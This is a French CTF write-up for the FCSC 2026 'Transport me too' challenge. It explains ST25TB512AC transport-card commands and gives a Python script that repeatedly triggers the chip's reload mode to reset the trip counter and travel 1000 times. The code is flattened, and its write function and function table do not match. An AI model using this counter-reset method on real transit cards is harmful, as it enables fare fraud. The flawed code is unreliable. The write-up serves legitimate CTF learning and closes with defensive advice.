Ceci est le write-up du challenge Hardware Transport me too du CTF FCSC édition 2026 organisé par l’ANSSI.
Énoncé
Vous avez récupéré une carte de transport, basée sur une puce ST25TB512AC de chez STMicroElectronics. Apparemment, cette carte contenait initialement 10 voyages, mais ne peut pas être rechargée. La personne qui vous a donné cette carte a déjà effectué 5 voyages avec.
Arriverez-vous à voyager 1000 fois ?
Note : Lors de l’envoi d’une commande brute à la carte, considérez qu’elle est déjà sélectionnée par le lecteur.
nc challenges.fcsc.fr 2301
Ce challenge est la suite, en version bien plus avancée, de Transport me.
Documentation
L’énoncé nous donne le modèle de la puce: ST25TB512AC de chez STMicroElectronics.
On va alors récupérer la documentation sur le site officiel.
Cette section est principalement orientée bas niveau, on a cependant une information très importante qu’est le détail du CRC.
On y apprend que:
Le CRC est généré en accord avec la norme ISO14443 Type B
Il est sur 2 octets (4 caractères)
Il est à ajouter à la fin de chaque commande
Il est ajouté à chaque réponse
Il est obligatoire
Figure 3 - CRC
4. Memory mapping
Cette section nous donne le mappage des différents blocs avec leur adresse, leur taille, type ainsi qu’une description:
Tableau 1 - Mappage mémoire
4.1.1. Block 0 - 4: resettable OTP area
Cette partie est centrée sur la zone OTP (One Time Programmable) réinitialisable.
On apprend qu’il n’est pas directement possible d’écrire dans les adresses de cette zone, pour ça, il faut que la commande d’écriture soit précédée d’un auto-erase cycle.
Figure 4 - Eeprom 1
On apprend également qu’un cycle d’effacement est ajouté à chaque fois que le mode reload est activé. Ce mode est implémenté via une modification spécifique du compteur binaire au bloc d’adresse 6.
Figure 5 - Eeprom 2
On nous donne aussi un tableau précisant le comportement de la commande d’écriture en mode reload.
Tableau 2 - Exemple d'écriture en mode reload
4.2. 32-bit binary counters
Cette sous-section concerne les 2 compteurs binaires avec l’adresse de bloc 5 et 6.
On y apprend que:
On peut actualiser ces compteurs uniquement avec une valeur inférieur à la précédente (de 1 ou plus)
La valeur initiale du compteur 5 est FFFF FFFE et FFFF FFFF pour le 6
Quand un compteur arrive à 0000 0000 il n’est plus possible de l’actualiser (du tout, pas de magie)
Ils peuvent être protégés en écriture par le OTP_Lock_Reg bits (bloc 255)
Figure 6 - Compteurs binaires 1
Plus bas, il est expliqué que le compteur 6 contrôle le mode reload de la zone OTP réinitialisable. Quand un de ses 11 premiers bits (b31 à b21) est actualisé (modifié), la puce ajoute un cycle d’effacement à la commande d’écriture dans la zone OTP.
Ce cycle d’effacement reste actif jusqu’a l’arrêt de la carte ou l’utilisation de la commande select. On nous précise aussi que la zone OTP peut être reloaded (rechargée) 2047 fois.
Figure 7 - Compteurs binaires 2
4.3.1. OTP_Lock_Reg
Ici, l’attention est portée sur le OTP_Lock_reg, ce registre permet de verrouiller certains blocs.
On y apprend qu"il y a une correspondance entre les bits b16 à b31 du registre et les blocs aux adresses de 0 à 15 (par exemple b16 correspondant à l’adresse de bloc 0, dans la zone OTP).
Si le bit du registre est à 0, le blox à l’adresse correspondante passe en lecture seule.
Une fois fait il n’y a aucune moyen de revenir en arrière.
De plus, une fois qu’une modification à cette adresse de bloc à été réalisée, il faut envoyer une commande select pour l’ajouter à la logique de la puce.
Figure 8 - OTP_Lock_Reg
6. ST25TB512-AC states
Ici, nous avons les différents états de la puce ainsi que l’ordre de “d’intialisation” à respecter pour qu’elle fonctionne, on a donc:
1 - Power-off state
2 - Ready state
3 - Inventory state
4 - Selected state
5 - Deselected state
Figure 9 - Liste des états
En lisant les descriptions des états, on remarque que pour arriver à l’état Selected state, qui nous permet d’effectuer des opération de lecture et d’écriture, on doit effectuer les commandes suivants:
Initiate() -> (Initiate() OU Pcall16() OU Slot_marker()) -> Select(Chip_ID)
8. ST25TB512-AC commands
Ici, le tableau Table 10. Command code nous donne la liste des commandes disponible ainsi que leur code hexadécimal respectifs:
Tableau 3 - Codes des commandes
Appendix A. ISO-14443 Type B CRC calculation
Cette annexe nous donne le code C pour calculer le CRC ISO-14443 Type B de chaque commande:
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<ctype.h>#define BYTE unsigned char
#define USHORT unsigned short
unsignedshortUpdateCrc(BYTEch,USHORT*lpwCrc){ch=(ch^(BYTE)((*lpwCrc)&0x00FF));ch=(ch^(ch<<4));*lpwCrc=(*lpwCrc>>8)^((USHORT)ch<<8)^((USHORT)ch<<3)^((USHORT)ch>>4);return(*lpwCrc);}voidComputeCrc(char*Data,intLength,BYTE*TransmitFirst,BYTE*TransmitSecond){BYTEchBlock;USHORTtwCrc;wCrc=0xFFFF;// ISO 3309
do{chBlock=*Data++;UpdateCrc(chBlock,&wCrc);}while(--Length);wCrc=~wCrc;// ISO 3309
*TransmitFirst=(BYTE)(wCrc&0xFF);*TransmitSecond=(BYTE)((wCrc>>8)&0xFF);return;}intmain(void){BYTEBuffCRC_B[10]={0x0A,0x12,0x34,0x56},First,Second,i;printf("Crc-16 G(x) = x^16 + x^12 + x^5 + 1”);printf("CRC_B of [ ");for(i=0;i<4;i++)printf("%02X ",BuffCRC_B[i]);ComputeCrc(BuffCRC_B,4,&First,&Second);printf("] Transmitted: %02X then %02X.”, First, Second);return(0);
Je l’ai utilisé uniquement pour vérifier les librairies Python que je trouvais, si vous voulez vous en servir, il faut corriger le code comme ceci:
Ligne 18: changer le USHORTt en USHORT
Ligne 33: Changer le » en "
Ligne 38: Changer le » en "
Dernière ligne: Ajouter un } a la fin du int main(void)
Pour le faire fonctionner, il faut:
Modifier la taille ainsi que les valeurs du tableau BYTE BuffCRC_B[10]
Modifier la condition du for(i=0; i<4; i++)
Modifier le deuxième paramétre de ComputeCRC() comme la condition du for
Appendix B. ST25TB512-AC command brief
Cette annexe, nous avons des exemples de commandes correctement formatées.
Par exemple, pour les commandes:
Select:
Figure 10 - Exemple de la commande Select
Read_block:
Figure 11 - Exemple de la commande Read_block
Write_block:
Figure 12 - Exemple de la commande Write_block
GetUID:
Figure 13 - Exemple de la commande GetUID
Investigation
La première chose (après lire la documentation) est de se connecter au challenge et regarder qu’elles sont les commandes que l’ont peut envoyer.
Menu de commandes
Après la connexion, on à ce menu
1. Travel
2. Send command
3. Quit
Via le premier sous-menu 1. Travel, on peut voyager 5 fois avant d’arriver a court de tickets:
1. Travel
2. Send command
3. Quit
>>> 1
1 travel completed, 999 more to go
1. Travel
2. Send command
3. Quit
>>> 1
2 travel completed, 998 more to go
1. Travel
2. Send command
3. Quit
>>> 1
3 travel completed, 997 more to go
1. Travel
2. Send command
3. Quit
>>> 1
4 travel completed, 996 more to go
1. Travel
2. Send command
3. Quit
>>> 1
5 travel completed, 995 more to go
1. Travel
2. Send command
3. Quit
>>> 1
No more valid tickets.
Pour le second, 2. Send command, on peut envoyer des commandes en hexadecimal à la puce:
1. Travel
2. Send command
3. Quit
>>> 2
Command to send to the tag (hexadecimal):
Empty response
Et enfin pour le 3ème 3. Quit, cela clôt la connexion.
Formattage des commandes
Chose très intéressante dans ces menus est la possibilité d’envoyer des commandes hexadecimal, pour savoir comment elle sont formattées, on va voir dans la section 8. ST25TB512-AC commands.
Option: Facultatif, dépend de la commande, peut être une adresse, une valeur, etc
CRCL et CRCH: Less Significant Bit (LSB) et Most Significant Bit (MSB) du CRC
CRC
Le CRC est obligatoire pour chaque commande (et réponse) et est généré en accord avec la norme ISO 14443 Type B (voir la section 3. Data transfer).
Dans l’annexe B, un code en C nous est donné pour calculer ce CRC, étant donné que j’utilise un script Python j’ai cherché une librairie gérant cette partie.
Cette librairie est crccheck de Martin Scharrer (disponible sur PyPI) et plus précisement le module Crc16IbmSdlc.
Le problème est que cette fonction ne prend que des données de type bytes en entrée alors que j’utilise des strings dans le reste de mon code. Pour pouvoir l’utiliser nativement j’ai donc créé cette fonction:
defcrc(command):"""
Return the command with the CRC compliant to the ISO 14443 Type B norm.
Parameters:
command (str): The raw hexadecimal command.
Returns:
str: The command with the CRC.
"""# Convert the str command to bytescommande_bytes=bytes.fromhex(command)# Calculate the CRCcrc=Crc16IbmSdlc.calc(commande_bytes)# Format the ouput (command + CRC) with the LSB firstresult=command+crc.to_bytes(2,'little').hex()return(result)
Voici ce qu’elle fait:
Prend une commande en entrée, par exemple 0800 (lecture de l’adresse 00)
Convertit la commande de str en bytes en la considérant comme de l’hexadecimal (b'\x08\x00')
Calcul le CRC via la fonction Crc16IbmSdlc de crccheck
Retourne la commande avec son CRC (LSB en premier), comme le veut la norme ISO (080087c1)
Résolution
OK !
Maintenant que nous avons tous ces éléments, on va pouvoir commencer à interagir avec la puce afin de voyager 1000 fois.
Identification du compteur
La première chose qu’il nous faut est savoir est l’adresse du bloc contenant le nombre de voyage et comment il fonctionne (est-ce qu’il contient les voyages restants ou alors le nombre de voyages effectués).
Dans la section 4. Memory mapping de la documentation, on peut voir le Tableau 1 - Mappage mémoire, tableau qui liste toutes les adresses de la mémoire ainsi que des informations les concernants.
Parmi tout ça, on remarque la zone Resettable OTP bit, en lisant la deuxième partie de la description, il est indiqué que cette zone peut uniquement passer de 1 à 0, sauf via une commande spéciale.
Des différentes “zones” c’est celle qui a l’air la plus prometteuse pour contenir notre compteur de voyages car il s’agit d’un compteur réinitialisable (pour rappel, il s’agit d’une puce sur une carte rechargeable).
On va donc faire un script pour lire les 5 adresses de la zone (on réutilise la fonction de CRC vu plus haut):
fromcrccheck.crcimportCrc16IbmSdlcimportsocketimporttimeimportredefcrc(command):"""
Return the command with the CRC compliant to the ISO 14443 Type B norm.
Parameters:
command (str): The raw hexadecimal command.
Returns:
str: The command with the CRC.
"""# Convert the str command to bytescommande_bytes=bytes.fromhex(command)# Calculate the CRCcrc=Crc16IbmSdlc.calc(commande_bytes)# Format the ouput (command + CRC) with the LSB firstresult=command+crc.to_bytes(2,'little').hex()return(result)# Open a socket to the challenge URLsocket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)socket.connect(("challenges.fcsc.fr",2301))# Send the read commande (08h) for the addresses 0 to 5 and print the resultforiinrange(0,5):# Go to the second menu "Send command"socket.sendall(("2\n").encode())# Create and send the commandmessage=crc("08"+"0"+str(i))+"\n"socket.sendall(message.encode())time.sleep(0.1)data=socket.recv(1024)print(data.decode())
Ce qui nous donne:
1. Travel
2. Send command
3. Quit
>>> Command to send to the tag (hexadecimal): Response: ffffffff470f
1. Travel
2. Send command
3. Quit
>>> Command to send to the tag (hexadecimal): Response: ffffffff470f
1. Travel
2. Send command
3. Quit
>>>
Command to send to the tag (hexadecimal): Response: ffffffff470f
1. Travel
2. Send command
3. Quit
>>>
Command to send to the tag (hexadecimal): Response: 1f000000868d
1. Travel
2. Send command
3. Quit
>>>
Command to send to the tag (hexadecimal): Response: ffffffff470f
On voit clairement ici que le seul compteur ayant une valeur différente est le compteur à l’adresse 03.
Pour confirmer que c’est bien lui on va voyager et regarder sa valeur:
Voyage 0: 1f000000
Voyage 1: 0f000000
Voyage 2: 07000000
Voyage 3: 03000000
Voyage 4: 01000000
Voyage 5: 00000000
Manipulation du compteur
Afin d’augmenter le nombre de voyage possible, on va devoir manipuler ce compteur et le passer à la valeur FFFF FFFF. Bien que dans la documentation il est indiqué qu’il ne peut que décrémenter, il y a une commande spéciale permettant de passer tous les bits à 1 (voir la section 4.1.1. Block 0 - 4: resettable OTP area).
Dans cette section, on voit qu’il n’est pas possible de changer la valeur du compteur avec une commande write_block si il n’est pas précédé d’un erase_cycle. Ce dernier est induit à l’activation d’un reload mode via les compteur binaires (adresse 5 et 6).
En lisant la doc de ces compteurs, on apprend que:
Il sont écrivables (toujours aussi môche) via la commande write_block
Ils ne peuvent que être décrémentés
Qu’une fois à zéro il est impossible de les remettre à 1 (il est donc modifiable 2047 fois)
Que la modification d’un des bits b31 à 21 du compteur n°6 active le reload mode (et donc un erase cycle) pour les compteur de l’adresse 0 à 4
Que ce erase cycle reste actif jusqu’a l’extinction du système ou une commande select
On peut alors modifier la valeur du compteur n°3 à sa valeur max (FFFF FFFF) !
Cependant, on ne pourra voyager que 32 fois (FFFF FFFF donne 32 bits à 1 en binaire). Il faudra alors répéter l’opération 32 fois pour voyager 1000 fois.
Synthétiquement, cela donne ce schéma:
┌───────────────────────┐
│ │
│ │
▼ │
┌────────────────────────────┐ │
│ Modification d'un des bits │ │
│ │ │
│ n°31 à 21 du compteur n°6 │ │
└────────────────────────────┘ │
│ │
│ │
│ │
│ │ x32
▼ │
┌──────────────────────────────┐ │
│ Modification de la valeur du │ │
│ │ │
│ compteur n°3 à FFFF FFFF │ │
└─────────────┬────────────────┘ │
│ │
│ │
│ │
│ │
▼ │
┌─────────────────┐ │
│ Voyager 32 fois │──────────────┘
└─────────────────┘
Script
Enfin, on a tous les éléments pour écrire notre script, voici ma version:
fromcrccheck.crcimportCrc16IbmSdlcimportsocketimporttimeimportredefempty_buffer(socket):"""
Empty the buffer.
Parameters:
socket (socket): Socket object of the connexion.
"""socket.setblocking(False)whileTrue:try:socket.recv(1024)except:breaksocket.setblocking(True)defcrc(command):"""
Return the given command with the CRC compliant to the ISO 14443 Type B norm.
Parameters:
command (str): The raw hexadecimal command.
Returns:
str: The command with the CRC.
"""# Convert the str command to bytescommande_bytes=bytes.fromhex(command)# Calculate the CRCcrc=Crc16IbmSdlc.calc(commande_bytes)# Format the ouput (command + CRC) with the LSB firstresult=command+crc.to_bytes(2,'little').hex()return(result)defread(socket,address):"""
Read the value of a given addresse.
Parameters:
socket (socket): Socket object of the connexion.
address (str): The address where to read.
Returns:
str: The hexadecimal value contained at the address.
"""socket.sendall(("2\n").encode())message=crc("08"+address)+"\n"socket.sendall(message.encode())time.sleep(0.1)data=socket.recv(1024)result=re.search(r"Response:\s+(.*)",data.decode())result=result.group(1)returnresultdefwrite(socket,address,data):"""
Write an hexadecimal value at the given address.
Parameters:
socket (socket): Socket object of the connexion.
address (str): The address where to write.
data (str): The hexadecimal value to write.
Returns:
str: The return string of the command from the chip.
"""socket.sendall(("2\n").encode())message=crc("09"+block+data)+"\n"socket.sendall(message.encode())time.sleep(0.1)deftravel(socket):"""
Select the travel menu.
Parameters:
socket (socket): Socket object of the connexion.
"""socket.sendall(("1\n").encode())if__name__=="__main__":socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)socket.connect(("challenges.fcsc.fr",2301))block_6_value="ffffffff"foriinrange(0,33):time.sleep(0.1)# Calculate the 1bit decrement of the value of counter n°6value=int(block_6_value,16)value-=0x00000001block_6_value=f"{value:08x}"# Modify the value of counter n°6 and n°3write(socket,"06",block_6_value)write(socket,"03","ffffffff")# Travel 32xforjinrange(0,33):ifj>31:empty_buffer(socket)travel(socket)print(socket.recv(2048).decode())
Voici un récap des fonctions:
Fonction
Description
empty_buffer
Permet de vider le buffer de l’objet socket, sans ça, une fois plein il n’enregistre plus les nouveaux éléments de la sortie
crc
Calcule le CRC (ISO14443 Type B) de la comande en entrée et retourne la commande avec son CRC prête à être utilisée
get_uid
Récupère l’UID de la carte car il change à chaque redémarrage (dans le contexte du CTF, à chaque nouvelle connexion) ou après une commande
select
Permet la remise à zéro du cycle d’effacement vu plus haut
read
Va lire la valeur à l’adresse donnée en entrée, envoie la commande via le sous-menu 2. Send command
write
Va écrire la valeur à l’adresse, toutes les deux données en entrée, envoie la commande via le sous-menu 2. Send command
travel
Effectue un voyage en activant le sous-menu 1. Travel
Le script en lui même va fonctionner comme cela:
┌──────────────────────────┐
│ Se connecte au chall via │
│ │
│ la librairie socket │
└────────────┬─────────────┘
│
│
▼
┌─────────────────────────┐
│ Calcule le décrément de │
│ │◄─────┐
│ 1 bit du compteur n°6 │ │
└────────────┬────────────┘ │
│ │
│ │
▼ │
┌────────────────────────┐ │
│ Modifie la valeur des │ │ x32
│ │ │
│ compteurs n°6 et n°3 │ │
└────────────┬───────────┘ │
│ │
│ │
▼ │
┌─────────────────┐ │
│ Voyage 32 fois ├───────────┘
└─────────┬───────┘
│
│
▼
┌─────────────────┐
│ Affiche le flag │
└─────────────────┘
Flag
En executant le script, le flag nous est donné:
Congratulations, here is the flag: FCSC{6d6371c7c7ab08a021df2f031b9b50034d12060febf8645d93c4ee81f6fb1b34}
Conclusion
Ce challenge hardware était aussi dense qu’intéressant, le fait de le calquer sur un équipement réel et largement utilisé le rend encore plus immersif.
La “faille” utilisée ici est plus une fonctionnalité qu’autre chose. En effet, le fait de pouvoir recharger la carte est voulu dans le design de la puce, il peut même être empêché si besoin (voir la section 4.3.1. OTP_Lock_Reg).
Le problème ici est son utilisation, pour empêcher son exploitation il aurait fallut:
Soit utiliser un identifiant unique stocké dans la partie Lockable EEPROM et passé en lecture seule via le OTP_Lock_Reg (un serveur distant gérerait alors le nombre de voyage ainsi que sa validation)
Soit utiliser une autre carte/puce avec un fonctionnement différent